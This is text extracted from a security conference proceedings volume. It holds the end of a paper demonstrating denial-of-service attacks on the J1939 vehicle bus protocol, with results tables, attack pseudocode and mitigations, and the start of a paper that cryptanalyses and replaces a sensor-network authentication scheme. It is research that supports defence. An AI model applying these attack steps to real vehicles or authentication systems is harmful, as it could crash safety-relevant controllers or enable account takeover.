F9 8 0.4 221 36.86 301 53.33 125 -25 21 60.38

F9 8 0.8 131 62.57 118 81.7 127 -27 8 84.91

F9 8 1.2 104 70.2 63 90.23 128 -28 6 88.7

00 1 0.4 223 36.29 309 52.09 129 -29 25 52.83

00 1 0.8 145 58.57 106 83.5 120 -20 7 86.7

00 1 1.2 116 66.86 100 84.5 130 -30 6 88.7

00 4 0.4 283 19.14 465 27.91 112 -12 41 22.64

00 4 0.8 235 32.86 229 53.64 121 -21 20 62.26

00 4 1.2 232 33.71 306 52.56 121 -21 31 41.51

00 8 0.4 215 38.57 314 51.32 109 -9 17 67.92

00 8 0.8 128 63.43 111 82.7 114 -14 5 90.5

00 8 1.2 110 68.5 70 89.1 140 -40 7 86.7

– Thread: 0.137 (weak positive correlation). As the number of threads increase
reduction percentages increase [weakly].

– Interval: 0.66 (strong correlation). As the interval increases reduction per-
centages increase [strongly].

Positive correlation for factors Thread and Interval explain the existence of
the lowest and highest count reduction percentages at points spoofed-SRC: F9,
num-thread: 8, interval: 1.2 and spoofed-SRC: F9, num-thread: 4, interval: 0.4

Finally, we performed a two-tailed Mann-Whitney U test to determine if our
attack succeeded. We compared the counts of Engine-#1 transmitted messages
on the bus before and after the attack were performed. The attack arguments



Practical DoS Attacks on Embedded Networks in Commercial Vehicles 37

Table 5. Non-parametric U-test samples

Identifier Regular Count from Table Attack count (F9,4,0.4)

0CF00300 200 86

0CF00400 500 224

18E0FF00 10 4

18EBFF00 130 53

18ECFF00 12 4

18F00100 100 42

18FD7C00 10 4

18FDB300 20 6

18FDB400 20 9

18FEBD00 10 5

18FEC100 10 4

18FEDF00 500 203

18FEE000 100 36

18FEE400 10 5

18FEEE00 10 4

18FEEF00 20 9

18FEF000 100 45

18FEF100 100 35

18FEF200 100 40

18FEF500 10 4

18FEF600 20 9

18FEF700 10 3

18FEFF00 1 0

were chosen to be from the point which produced the lowest message count
reduction (spoofed-SRC: F9, num-thread: 4, interval: 0.4 ). The samples for the
U-test are shown in last two columns of Table 5. After performing the non-
parametric test, we obtained a p-value of 0.01468 and thereby concluded our
attack produced significant differences (p ≤ .05) in message count at a 5% con-
fidence interval. Since the positive reduction percentages were obtained for all
Engine-#1 message counts, we conclude that our attack was successful. Using
the worst results to perform the significance tests allowed us to have the best
notion about the performance of the attack.

It should be noted that this type of attack could be unintentional since third
party telematics units often request component information from ECUs. While
this is not an attack, a poorly programmed ECU on the network could have the
same effect as shown above.
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Suggested Mitigation Techniques. One approach to prevent such an over-
loading scenario can be to program the ECU such that it drops incoming request
packets if it has already responded to a request from the same source address
within a pre-defined time interval. This, however, requires ECUs to maintain
state information and can, in turn, lead to further resource exhaustion. Design-
ers or developers can, however, opt for indigenous techniques to defend against
this scenario. Another alternative can be to opt for proper intrusion detection
systems (IDSs) with capabilities of distinguishing such attack traffic from normal
traffic.

4.2 False Request to Send (RTS)

Background Theory. The J1939-21 standard specifies that if multiple RTS
messages are received from the same source address then the most recent RTS
shall be considered and previously received RTSs shall be discarded without
sending a notification to the sender of the RTS message.

Proposed Attack. Consider a connection in progress where the requester
receives an RTS from the recipient (Alice) of a request message. After receiving
the RTS, the requester allocates a buffer having size equal to that received in
bytes 2 and 3 of the data field in the RTS packet (refer to Table 1). The requester
then sends a CTS requesting for given number of packets starting from sequence
number 1. A clever attacker (Bob) can then send a crafted RTS packet (with a
reduced data size in bytes 2 and 3 of the data field) to the requester spoofing
the source address of the original recipient of the request. If the receiver of the
spoofed RTS reallocates the buffer and keeps receiving data (PGN: EB0016)
packets from the original sender (Alice), the allocated buffer might overflow
causing the ECU firmware to crash.

Execution. To test this attack we used both BeagleBone Black devices con-
nected to our test-bed. On one device (BB1) we ran a faulty script to receive
multi-packet PGNs. The workflow of the program is shown below.

Send request;
In a separate thread:

Sniff for RTS;
On receiving RTS allocate/reallocate
buffer space (buffer size = as obtained
from bytes 2-3 of the RTS data field);

Send CTS;
Recieve data;

On the second BeagleBone Black device (BB2) we ran the attack script as
shown below:

Sniff bus for CTS from attack target;
Send crafted RTS with lesser data size;
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Observation and Analysis. We ran both the scripts on the two BeagleBones
for 10 consecutive occasions. It was observed that on all occasions the script
running on BB1 crashed. This can be fatal for an ECU because crashing the
firmware can render an ECU useless.

Suggested Mitigation Techniques. It is extremely hard to defend against
such attacks. If the ECU firmware developer decides to avoid re-allocating space
on receipt of the second RTS, the attacker can spoof the first RTS and cause the
exact same damage. The success of this attack can be attributed to two factors:
the exploitable J1939 concept detailed as a part of the background theory and
insufficient programming logic. Thus, according to us, the best defense against
this attack is to avoid allocating space statically using the size specified in the
RTS message. The receiving side can incrementally allocate 7 bytes3 as newer
packets arrive.

4.3 Connection Exhaustion

Background Theory. The J1939-21 standard restricts that each pair of ECUs
can have at most one connection at any given point of time. Moreover, J1939
allows requesters to keep connections open by sending CTS messages within a
specified time period.

Proposed Attack. The J1939 source address is an 8 byte field. This means
there can be at most 255 different ECUs connected to a bus. If a driving critical
ECU like a brake controller can support 255 different connections at the same
time, an attacker can open 255 separate connections to that ECU and keep the
connection open by sending periodic CTS messages. In such a case, no other ECU
can open connections to the brake controller. In practice, the actual number of
ECUs connected to the bus is most often much less than 255. This makes the
task easier for the attacker. The quick scan of the network traffic can reveal the
transmitting source addresses. The attacker can then spoof all available source
addresses and open a connection to other ECUs thereby creating a mesh network
of connections. In such a case no other ECU will be able connections to other
ECUs.

Execution. None of the ECUs on our test-bed attempted to make destination
specific connections to each other (refer to Table 3). However, for the purpose of
testing this attack, we programmed BB1 to act as the attacker controlled device
and BB2 to impersonate two different ECUs (Brake Controller (SRC: 0B16) and
Cruise Control (SRC 1116)) and attempt to make connection requests to the
Engine-#1 ECU. The BB1 device was programmed to create two connections
with the Engine-#1 ECU requesting for the Component ID PGN (FEEB16).
BB1 was run slightly ahead oftime than BB2. This allowed BB1 to create the
two connections with the Engine-#1 ECU.
3 The first byte of a data packet is the sequence number.
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Fig. 8. Connection exhaustion network trace (without end of message ACK)

Observation and Analysis. Figure 8 shows the network trace obtained from
the CAN bus during the runtime of the attack. It can be seen that BB1 makes
two connections in the beginning by sending a request, RTS and CTS packet for
source addresses 1116 and 0B16. The Engine-#1 ECU then transfers data to BB1.
After sometime BB2 attempts to make two connections to the Engine-#1 ECU.
For the purpose of this experiment, BB2 acts as the honest party(s). However,
BB2 never receives RTS messages from the Engine ECU. At the end of the trace,
it can be seen that BB1 keeps its connection open by sending periodic CTSs.
As a result, any further connection attempts from BB2 would also be discarded
leaving BB2 (acting as the Brake controller and Cruise Control device) starving
for the required PGN.

Mitigation Techniques. The following attack can have serious consequences
on regular J1939 communications. This because, J1939 allows exchange of
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multi-packet proprietary messages. Disrupting exchange of all multi-packet mes-
sages can hamper proprietary message exchange. Authenticating the sending
ECU can help in preventing this type of a scenario from happening.

5 Conclusion and Future Work

The J1939 standards are used extensively in commercial vehicles and industrial
automation technology. The J1939 protocols run above the CAN bus. Although
multiple research efforts have focused on discussing vulnerabilities in the CAN
protocol, we believe this is the first work aimed at attacking the J1939 protocol
specifications. We illustrated how attacks similar to those performed on the
ISO/OSI protocol stack can be performed by a malicious adversary on J1939
protocols. Specifically, we demonstrated three specific denial-of-service attacks
using the J1939 data-link layer request and connection management protocols.

Our future work includes uncovering new forms of attacks on the J1939
protocols. A major challenge is providing acceptable security solutions for such
attacks. The attacks and the mitigating security solutions will be tested out
in real-world scenarios to demonstrate their efficacy. We also plan to evaluate
various security solutions in terms of their efficacy, resource utilization, usability,
and cost. We will also explore trade-offs among proposed security solutions and
provide recommendations for best practices.

Acknowledgments. This research was partially supported by the National Science
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Survey on security threats and protection mechanisms in embedded automotive
networks. In: 43rd Annual IEEE/IFIP Conference on Dependable Systems and
Networks Workshop (DSN-W), pp. 1–12. IEEE (2013)

13. Wolf, M., Weimerskirch, A., Paar, C.: Security in automotive bus systems. In:
Workshop on Embedded Security in Cars (2004)

https://github.com/linux-can/can-utils
https://github.com/linux-can/can-utils
http://standards.sae.org/j1939_201308
http://standards.sae.org/j1939_201308
http://standards.sae.org/j1939/21_201504
http://standards.sae.org/j1939/21_201504
http://standards.sae.org/j1939da_201510/
http://standards.sae.org/j1939da_201510/


Authentication



Secure Lightweight User Authentication
and Key Agreement Scheme for Wireless
Sensor Networks Tailored for the Internet

of Things Environment

Srinivas Jangirala1(B), Dheerendra Mishra2(B), and Sourav Mukhopadhyay1(B)

1 Department of Mathematics, Indian Institute of Technology,
Kharagpur 721 302, India

{jangiralasrinivas,sourav}@maths.iitkgp.ernet.in
2 Department of Mathematics, LNM Institute of Information Technology,

Jaipur 302 031, India
dheerendra@maths.iitkgp.ernet.in

Abstract. In a wireless sensor networks (WSNs), there is a need of
constant information access from the nodes, as the real-time data might
never again be accessed. Thus, users are allowed to access the nodes in
the real-time as and when required. The user authentication plays an
indispensable part in this communication. Recently, Farash et al. pro-
posed an efficient user authentication scheme for WSNs. Though their
scheme is very efficient, we identify that their scheme is vulnerable to
off-line password guessing attack, off-line identity guessing attack, stolen
smart card attack and user impersonation attack. As a result, we feel
that there is a great need to improve Farash et al.’s scheme to present a
secure communication protocol. In this paper, we propose a secure and
lightweight user authentication and key agreement scheme for distributed
WSN, which will also be handy in taking care of the Internet of Things
(IoT). The lightweight property of our proposed scheme can be useful
in resource-constrained architecture of WSNs. In addition, our scheme
has merit to change dynamically the user’s password locally without the
help of the base station or gateway node. Furthermore, our scheme sup-
ports dynamic nodes addition, after the initial deployment of nodes in
the existing sensor network. We prove the authentication property of
our scheme using Burrows-Abadi-Needham (BAN) logic. The simulation
results using the automated validation of internet security protocols and
applications (AVISPA) tool shows the security of the proposed scheme
against replay and man-in-the middle attacks.

Keywords: Wireless sensor networks · Authentication · Security ·
Privacy

1 Introduction

Wireless sensor networks (WSNs) have been evolving during the last decade and
have become very popular. Various kinds of WSNs applications are now being
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 45–65, 2016.
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used by the highly qualified organizations (e.g., military, health, environment,
etc.). In order to provide efficient and prompt service in WSNs by sensor nodes
to the users, the main goal of WSNs should be kept in view such as (i) monitoring
the data, (ii) collecting the data from a specific location and process the data and
(iii) delivering the data to the end users. Considering the way that information
gathered from the WSNs can be critical, it is pivotal that it is additionally secure.
Therefore, the security concern is becoming an important aspect and even more
crucial as the entire communication is done over public channel. A survey on
wireless sensor networks can be found in [1].

In the past decade, WSNs have increased incredible accomplishments both in
the scholarly circle and the industrial field. IoT is the current widely spreading
technology, where the remote authorizes users are allowed to access the desired
and reliable sensor nodes to incur the data and even more they are permitted
to broadcast commands to the nodes in WSNs. Two parts of this scene ought
to be viewed. On one hand, just genuine users like the registered ones can per-
form an action on the specific sensor nodes to acquire information. On the other
hand, the accessible sensor nodes are obliged to be confirmed as an honest to
goodness one. Keeping in mind the end goal to guarantee the over two points,
both the user and the sensor node is required to ensure the mutual authentica-
tion, which is a must in the protocol design. Until this date, numerous scholarly
works are presented by researchers on the security of WSNs [2,3,5]. Since a
WSNs consists of minor sensor nodes with low handling power, the equalization
of proficiency and security is vital, however once in a while hard to accomplish.
An extensive number of secret key sharing authentication based schemes have
issues in conveying and updating keys. In order to accomplish in accessing the
data by providing authorization and security, designing a protocol which pre-
serves mutual authentication and key agreement is an important and difficult
issue in WSNs.

These days, few gateway nodes-based authentication schemes were proposed
in the literature, which make conceivable possible that the mutual authentication
and key agreement protocol has both the components of security and lightweight.
The GWN assumes an imperative part in WSNs. In order to further reach the
specific sensor node, the remote users are obliged to achieve the GWN through
the internet at first. In contrary, sensing data from the sensor nodes firstly get
to the GWN and after that achieve the user end. Making the data available to
the remote users on demand over the network must assure the mutual authen-
tication between them before allowing the remote users to access the real-time
information inside WSNs.

The sensor nodes are responsible for sending the real-time data and forward
to the nearest gateway node directly, whereas the gateway nodes are responsible
for receiving and forwarding the relevant data to the user and sensor node. In
order to access the desired sensor node, the user can execute registration phase
to any one of the gateway nodes of our network model.

In 2006, based on symmetric encryption, Wong et al. [4] proposed a user
authentication scheme for WSNs. They designed a lightweight architecture using
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hash function computation. Later, vulnerabilities are identified against many
logged-in users with the same login-id attack and stolen verifier attack. Das [6]
improved the security of Wong et al.’s scheme using temporal credentials for ver-
ification. Das’s scheme is also vulnerable to denial-of-service and node capture
attacks. Huang et al. [7] and He et al. [8] proposed some improvements of Das’s
scheme. But, the presented schemes fail to overcome the security vulnerability
of Das’s scheme. In 2010, Khan and Alghathbar [9] presented an improvement
on Das’s scheme. They solved the problem of mutual authentication and unse-
cured password by introducing pre-shared keys and masked passwords. Later
on, Vaidya et al. [10] showed that Khan and Alghathbar’s scheme had several
security pitfalls.

Das et al.’s scheme [11] was produced for hierarchical WSNs, where the key
agreement executes among the user, cluster head, and base-station. However,
Xue et al. argue that such a model is inefficient because it runs the last two com-
munications, acknowledgment for the BS or GWN and the user, simultaneously.
However, since both communications have to be run, it is insignificant regarding
efficiency. In 2014, Turkanovic et al. [2] proposed a user authentication and key
agreement(AKA) model to overcome the security flaws of the earlier designs.
Farash et al. [3] shown that Turkanovic et al.’s scheme is insecure and inefficient
for various security drawbacks such as session key agreement, mutual authentica-
tion between all parties, traceability, preservation of user anonymity, privileged-
insider attack. Additionally, Farash et al. designed efficient user authentication
and key agreement scheme for WSNs, which can be tailored for the internet of
things environment.

2 Review of Farash et al.’s Scheme

This section briefly reviews Farash et al.’s scheme [3]. Farash et al.’s scheme
consists of six phases: pre-deployment, user registration and sensor node regis-
tration, login, authentication, password change and dynamic node addition.

2.1 Pre-deployment Phase

{SIDj ,XGWN−Sj
} variables are stored in the memory of the sensor node before

deployment. GWN is predefined with its own secure password XGWN in addition
to multiple shared passwords (passwords {XGWN−Sj

|1 ≤ j ≤ m} shared with
the sensor nodes Sj , whereby m represents the number of sensor nodes).

2.2 Registration Phase

The registration phase is divided into two sub-phases, namely, user registration
and sensor node registration.
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User Registration Phase. Ui selects his identity IDi, password PWi and a
random number ri. Ui computes MPi = h(ri ⊕ PWi), and sends {IDi,MPi}
to GWN via a secure channel. GWN computes ei = h(MPi‖IDi), di =
h(IDi‖XGWN ), gi = h(XGWN ) ⊕ h(MPi‖di), and fi = di ⊕ h(MPi‖ei).
{ei, fi, gi} are stored in a smartcard, which is provided to Ui via a secure channel.
Ui inputs ri into the smart card.

Sensor Node Registration Phase. A sensor node Sj is configured with
its identity SIDj and Sj secretly shared password XGWN−Sj

with GWN . Sj

selects a random nonce rj and computes MPj = h(XGWN−Sj
‖rj‖SIDj‖T1)

and MNj = h(XGWN−Sj
) ⊕ rj , where SIDj is the sensor node’s iden-

tity, T1 is the current timestamp and XGWN−Sj
is the secret shared key

between Sj and GWN . Sj sends {SIDj ,MNj ,MPj , T1} to GWN . GWN
checks freshness of T1. GWN finds the right shared key of Sj and computes
r′
j = MNj ⊕ h(XGWN−Sj

), verifies its own version of MPj with the received
one by the condition MPj = h(XGWN−Sj

‖r′
j‖SIDj‖T1). If the verification

does not hold, GWN rejects the request. Otherwise, GWN computes xj =
h(SIDj‖XGWN ), ej = xj ⊕ XGWN−Sj

, dj = h(XGWN‖1) ⊕ h(XGWN−Sj
‖T2)

and fj = h(XGWN−Sj
‖xj‖dj‖T2) using the received values. GWN sends the

response message {dj , ej , fj , T2} to Sj . Sj checks |T2 − Tc| < ΔT . If the verifi-
cation succeeds, Sj computes xj = ej ⊕ XGWN−Sj

, and verifies its own version
of fj with the received one by the condition fj = h(XGWN−Sj

‖xj‖dj‖T2). If
the verification does not hold, Sj rejects the request. Otherwise, Sj computes
h(XGWN‖1) = dj ⊕ h(XGWN−Sj

‖T2), and stores xj and h(XGWN‖1) into its
memory and deletes the secret key XGWN−Sj

from its memory. Sj sends a con-
firmation message to GWN , then GWN deletes its version of the shared key
along with SIDj .

2.3 Login and Authentication Phases

Login Phase. Ui inputs ID′
i and PW ′

i . SC computes MP ′
i = h(PW ′

i ⊕ri). SC
verifies if ei = h(MP ′

i‖ID′
i). If this holds, SC computes di = fi ⊕ h(MP ′

i‖ei),
h(XGWN ) = gi ⊕ h(MP ′

i‖di), M1 = ID′
i ⊕ h(h(XGWN )‖T1) and M2 = Ki ⊕

h(di‖T1), where Ki is the chosen random nonce and T1 is the current timestamp.
Finally, the SC computes M3 = h(M1‖M2‖Ki‖T1) and sends {M1,M2,M3, T1}
to Sj .

Authentication Phase. Sj verifies |T1 − T2| < ΔT . If this verifica-
tion holds, Sj selects a random nonce Kj and computes ESIDj ,M4, and
M5 as ESIDj = SIDj ⊕ h(h(XGWN‖1)‖T2), M4 = h(xj‖T1‖T2) ⊕ Kj

and M5 = h(SIDj‖M4‖T1‖T2‖Kj). Sj sends the authentication message
{M1,M2,M3, T1, T2, ESIDj ,M4,M5} to GWN . Note that this message consists
of Ui’s previously received values and Sj ’s currently computed values.

GWN verifies |T2 − T3| < ΔT . If this verification holds, GWN computes its
own version of SID′

j = ESIDj ⊕ h(h(XGWN‖1)‖T2), x′
j = h(SID′

j‖XGWN ),
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K ′
j = M4 ⊕ h(x′

j‖T1‖T2), and further verifies all these computed values by
the condition M5 = h(SID′

j‖M4‖T1‖T2‖K ′
j). GWN computes ID′

i = M1 ⊕
h(h(XGWN )‖T1), d′

i = h(ID′
i‖XGWN ), K ′

i = M2 ⊕ h(d′
i‖T1), and verifies

M3 = h(M1‖M2‖K ′
i‖T1). If this verification holds, GWN computes M6 =

K ′
j⊕h(d′

i‖T3), M7 = K ′
i⊕h(x′

j‖T3), M8 = h(M6‖d′
i‖T3) and M9 = h(M7‖x′

j‖T3).
GWN sends {M6,M7,M8,M9, T3} to Sj .

Sj first verifies |T3 − T4| < ΔT . If this condition holds, Sj verifies if
M9 = h(M7‖xj‖T3). If this condition holds, Sj computes K ′

i = M7 ⊕
h(xj‖T3), SK = h(K ′

i ⊕ Kj) and M10 = h(SK‖M6‖M8‖T3‖T4). Sj submits
{M6,M10,M8, T3, T4} to Ui.

Ui verifies |T4 − T5| < ΔT . Then, Ui verifies if M8 = h(M6‖di‖T3).
On the success of verification, Ui computes K ′

j = M6 ⊕ h(di‖T3), SK =
h(Ki ⊕ K ′

j), and finally verifies the legitimacy of Sj by the condition M10 =
h(SK‖M6‖M8‖T3‖T4). If this verification holds, Ui uses the session key SK for
the future communications.

3 Cryptanalysis of Farash et al.’s Scheme

In this section, we show that Farash et al.’s scheme does not satisfy desirable
security attributes.

3.1 Off-Line Password Guessing Attack

Using the stolen smartcard of Ui, adversary A can extract sensitive information
from the smartcard [14]. A manages to crack the smartcard and obtain the
stored information including ei, fi, gi, and ri. In order to guess Ui’s password, A
computes di and Ki, and then to verify M3. If the verification does not hold, A
keeps on trying using same process until he succeeds. The illustrated details are
as follows:

Step 1. A guesses a password PWA
i and computes dAi = fi ⊕ h(h(ri‖PWA

i )‖ei)
as A knows ei, fi, ri.

Step 2. A computes KA
i = M2 ⊕ h(dAi ‖T1), where M2 and T1 are the captured

information from the transmitted messages.
Step 3. A verifies if M3 = h(M1‖M2‖KA

i ‖T1). If the verification holds, password
guessing succeeds. Otherwise, A repeats Steps 1, 2 and 3.

3.2 Off-Line Identity Guessing Attack

A uses stored information including ei, fi, gi, and ri of lost/stolen smart card.
In order to guess IDi, A needs to guess the password correctly, which we have
already shown in Sect. 3.1. Once the password is guessed correctly, the adversary
A can compute MPA

i = h(ri‖PWA
i ), where ri is the known parameter from the

smartcard and PWA
i is the guessed correct password. Now A can verify the

condition ei = h(MPA
i ‖IDA

i ), where ei is the stored parameter and IDA
i is the

guessed identity of the user Ui. If the verification holds, A guesses the original
identity IDi of the user Ui. Otherwise, A repeats the steps.
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3.3 Stolen Smart Card Attack

According to Sects. 3.1 and 3.2, an adversary can extract all the stored sensitive
information from the smart card using lost/stolen smart card of Ui. The attacker
can successfully guess correct password and identity of Ui. Using these login
credentials, the adversary can login into the system and access the targeted
sensor nodes.

Remark: It is clear that Farash et al.’s scheme cannot be used for the practical
applications as an adversary is successfully able to login into the system and
able to access the targeted sensor nodes with the correct login credentials of a
user.

3.4 User Impersonation Attack

Using the lost/stolen smartcard, A can mount user impersonation attack as:

A generates a random number KA
i , computes dAi = fi ⊕ h(h(ri‖PW ′

i )‖ei) using
the guessed correct password PW ′

i in Sect. 3.1, MA
2 = KA

i ⊕h(dAi ‖T ′
1), MA

3 =
h(M1‖MA

2 ‖KA
i ‖T ′

1). A transmits message {M1,M
A
2 ,MA

3 , T ′
1}, where T ′

1 is
the current timestamp.

Sj first checks |T ′
1 − T2| < ΔT , where T2 is the time when Sj receives

this message. Note that this condition is always satisfied. After that
Sj computes some parameters and transmits the authentication message
{M1,M

A
2 ,MA

3 , T ′
1, T2, ESIDj ,M4,M5} to GWN .

GWN first checks the timestamp validity. After that GWN computes ID′
i =

M1 ⊕ h(h(XGWN )‖T ′
1), d′

i = h(ID′
i‖XGWN ), K ′

i = MA
2 ⊕ h(d′

i‖T ′
1) and

M3 = h(M1‖MA
2 ‖K ′

i‖T ′
1). GWN checks MA

3 = M3. If it matches, GWN
believes that the message comes from the valid user Ui.

4 The Proposed Scheme

The proposed scheme consists of six phases: (i) pre-deployment phase, (ii) com-
bination of user registration phase and sensor node registration phase, (iii) login
phase, (iv) authentication and key agreement phase, (v) password change phase
and (vi) dynamic node addition phase. We use the current system timestamp in
order to protect the replay attack by an attacker in the network. For this pur-
pose, we assume that all the entities (sensor nodes, GWN and users) in WSNs
are synchronized with their clocks [12].

4.1 Pre-deployment Phase

As in Farash et al.’s scheme, this phase is executed in off-line by a network
administrator, where each sensor node Sj in WSNs is configured with its unique
identity SIDj and a unique secure 1024-bit key XGWN−Sj

shared with GWN
prior to its deployment in a target field. Note that each Sj has a distinct secure
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key XGWN−Sj
shared with GWN . Both information are stored in the memory of

Sj . GWN is also configured with its own secure 1024-bit key XGWN in addition
to the multiple shared keys {XGWN−Sj

|1 ≤ j ≤ m} shared with m sensor nodes
Sj in WSNs.

4.2 Registration Phase

In our proposed scheme, the registration phase is divided into two parts. First one
is the user registration phase and the second one is the sensor node’s registration
phase.

User Registration Phase

Step 1. A user Ui is free to select his/her own identity IDi, password PWi and
a random number ri to initiate the registration phase.

Step 2. Ui computes MIi = h(IDi‖ri) and MPi = h(IDi ⊕ ri ⊕ PWi), and
transmits the registration request message {MIi,MPi} to GWN via a secure
channel.

Step 3. After the request is received from Ui, GWN computes xi =
h(MPi‖MIi), di = h(MIi‖XGWN ), ei = h(XGWN ) ⊕ h(MPi‖di), and
fi = di ⊕ h(MPi‖ei). Finally, the credentials {ei, fi, xi, h(·)} are stored in a
smartcard SC and passes it on to the user Ui via a secure channel.

Step 4. After receiving the smartcard SC, the user Ui computes gi = ri ⊕
h(IDi‖PWi) and inputs the parameter gi into the smartcard and completes
the registration process.

Sensor Node Registration Phase. As described in the pre-deployment phase,
Sj is pre-configured with its identity SIDj and its secret shared password
XGWN−Sj

with GWN . Whenever the specific sensor node Sj is deployed into
WSNs either during the pre-deployment or post-deployment dynamic node addi-
tion phase, it needs to register with GWN as follows.

Step 1. Sj selects a random nonce rj and computes MPj =
h(XGWN−Sj

‖rj‖SIDj‖T1) and MNj = h(XGWN−Sj
⊕ SIDj) ⊕ rj , where

SIDj is Sj ’s identity, T1 the current timestamp and XGWN−Sj
the secret

shared key between Sj and GWN . Sj sends message {SIDj ,MNj ,MPj , T1}
to GWN .

Step 2. GWN checks whether the received timestamp T1 is within the allowed
time interval ΔT or not by means of verifying the condition |T1 − Tc| <
ΔT . If the verification succeeds, GWN finds the right shared key of Sj

and computes r′
j = MNj ⊕ h(XGWN−Sj

⊕ SIDj) and verifies whether
MPj = h(XGWN−Sj

‖r′
j‖SIDj‖T1) or not. If the verification does not

hold, GWN rejects the request. Otherwise, GWN continues to compute
the master key xj = h(XGWN−Sj

‖XGWN ), ej = xj ⊕ XGWN−Sj
, dj =

h(XGWN‖SIDj)⊕h(XGWN−Sj
‖T2), fj = h(XGWN−Sj

‖xj‖dj‖T2), where T2
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the current timestamp at GWN . GWN stores h(XGWN−Sj
⊕SIDj) against

to SIDj in its database and sends the response message {dj , ej , fj , T2} to
Sj .

Step 3. Sj checks if the received timestamp T2 is within the allowed time inter-
val ΔT . If the verification passes, Sj computes xj = ej ⊕ XGWN−Sj

, and
verifies if fj = h(XGWN−Sj

‖xj‖dj‖T2). Sj computes h(XGWN‖SIDj) =
dj ⊕ h(XGWN−Sj

‖T2) and stores xj and h(XGWN‖SIDj) into its memory.

4.3 Login and Authentication Phases

Login Phase. In this phase, the smartcard SC of a registered user Ui needs to
verify the legitimacy of the user Ui. This phase consists of the following steps:

Step 1. Ui inputs his username ID′
i and password PW ′

i .
Step 2. SC then computes r′

i = gi ⊕ h(ID′
i‖PW ′

i ), MP ′
i = h(ID′

i ⊕ PW ′
i ⊕ r′

i)
and MI ′

i = h(IDi‖r′
i). SC verifies the condition xi = h(MP ′

i‖MI ′
i). If this

holds, SC accepts the user login request. SC computes di = fi⊕h(MP ′
i‖ei),

h(XGWN ) = ei ⊕ h(MP ′
i‖di), M1 = MI ′

i ⊕ h(h(XGWN )‖T1), M2 = Ki ⊕
h(di‖T1), where Ki is the chosen random nonce and T1 the current timestamp
of SC.

Step 3. Finally, SC computes M3 = h(Ki‖ di‖ M1‖ M2‖ T1) and sends the
message {M1,M2,M3, T1} to Sj .

Authentication and Key Agreement Phase. After mutual authentication
both the user and sensor node establish a secret session key as follows:

Step 1. Sj verifies for the timestamp to avoid the replay attack by check-
ing the condition |T1 − Tc| < ΔT . If this verification does not hold, Sj

rejects the login request message. Otherwise, Sj selects a random nonce Kj

and computes NSIDj , M4, and M5 as NSIDj = h(h(XGWN‖SIDj)‖T2),
M4 = h(xj‖T1‖T2)⊕Kj and M5 = h(M4‖NSIDj‖T1‖T2‖Kj). Sj sends mes-
sage {M1,M2,M3, T1, T2, NSIDj ,M4,M5} to GWN . Note that this message
also consists of Ui’s previously received values and Sj ’s currently computed
values.

Step 2. GWN first checks |T2 − Tc| < ΔT . If this verification holds, GWN
computes NSID′

j = h(h(XGWN‖SIDj)‖T2), x′
j = h(XGWN−Sj

‖XGWN ),
K ′

j = h(x′
j‖T1‖T2) ⊕ M4. GWN verifies M5 = h(M4‖NSID′

j‖T1‖T2‖K ′
j).

If this verification holds, GWN proceeds to check the legitimacy of the
Ui by computing its own versions of MI ′

i = M1 ⊕ h(h(XGWN )‖T1),
d′
i = h(MI ′

i‖XGWN ), K ′
i = M2 ⊕ h(d′

i‖T1). GWN then verifies M3 =
h(K ′

i‖d′
i‖M1‖M2‖T1). If this verification does not hold, GWN rejects the

authentication message from Sj . Otherwise, GWN further proceeds to com-
pute M6 = K ′

j ⊕ h(d′
i‖T3‖K ′

i), M7 = K ′
i ⊕ h(h(XGWN‖SIDj)‖x′

j‖K ′
j‖T3)

and sends the response message {M6,M7, T3} to Sj over an insecure channel.
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Step 3. On receiving the response message from GWN , Sj first verifies the
timestamp T3 to avoid the replay attack by the condition |T3 − Tc| < ΔT . If
this verification does not hold, Sj rejects the response message. Otherwise,
Sj computes K ′

i = M7 ⊕ h(h(XGWN‖SIDj)‖xj‖Kj‖T3), the session key
SK = h(h(K ′

i⊕Kj)‖T3‖T4), M8 = h(M6‖M7‖SK‖T3‖T4), and then submits
the acknowledgment message {M6,M7,M8, T3, T4} to Ui.

Step 4. Ui first verifies for the timestamp T4 using |T4 −Tc| < ΔT . If this verifi-
cation does not hold, Ui rejects this message. Otherwise, Ui further computes
K ′

j = M6 ⊕ h(di‖T3‖Ki), the same session key SK = h(h(Ki ⊕ K ′
j)‖T3‖T4)

shared between the user Ui and the accessed sensor node Sj , and verifies
the legitimacy of Sj by the condition M8 = h(M6‖M7‖SK‖T3‖T4). If this
verification holds, both Ui and Sj use the computed session key SK for their
future communications. Otherwise, both Ui and Sj reject the communication
messages.

4.4 Password Change Phase

User can change the password without being interacted with any accessed sensor
node or GWN in WSNs as follows:

Step 1. Ui inserts identity ID′
i and old password PW ′

i . SC checks the user
credentials (IDi and PWi) to verify whether the user Ui is an actual user of
the smartcard.

Step 2. SC computes r′
i = gi ⊕ h(ID′

i‖PW ′
i ). SC computes MP ′

i = h(ID′
i ⊕

PW ′
i ⊕ r′

i), MI ′
i = h(ID′

i‖r′
i), and then checks xi =?h(MP ′

i‖MI ′
i). If the

verification holds, Ui is free to choose his/her new password PWnew
i .

Step 3. SC first computes di = fi ⊕ h(MP ′
i‖ei), h(XGWN ) = ei ⊕ h(MP ′

i‖di).
SC computes MPnew

i = h(IDi ⊕ PWnew
i ⊕ r′

i), xnew
i = h(MPnew

i ‖MI ′
i),

enewi = h(XGWN ) ⊕ MPnew
i ‖di), fnew

i = di ⊕ h(MPnew
i ‖enewi ). Finally,

SC computes gnewi = r′
i ⊕ h(IDi‖PWnew

i ). Having computing all the new
parameters xnew

i , enewi , fnew
i , and gnewi , SC replaces these parameters with

the previously stored values xi, ei, fi, and gi, respectively.

Thus, the smartcard SC currently holds {xnew
i , enewi , fnew

i , gnewi } and success-
fully completes the password change phase.

4.5 Dynamic Node Addition Phase

After initial deployment of the sensor nodes in WSNs, it may also happen for
adding a new sensor node over the target field. In order to add a new sensor
node, GWN performs the setup phase over the target region. After that the
deployed new sensor node needs to execute the sensor node registration phase.
In this way, GWN introduces a new sensor mode into the setup network model.
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5 Security Analysis of the Proposed Scheme

In this section, we first proof the mutual authentication using the widely-
accepted BAN logic. We then show that our scheme has the ability to resist
various known attacks including the sensor node capture attack.

5.1 Authentication Proof Using the BAN Logic

In this section, we provide a formal protocol analysis of our proposed scheme
using the widely-accepted BAN logic method [13]. The BAN logic is widely being
used to verify the correctness of the authentication protocol with key agreement.
The protocol correctness refers to the communication parties: a legal user Ui and
an accessed sensor node Sj who share a fresh shared session key with each other
after the protocol is executed. We first provide some notations of the BAN logic
as follows:

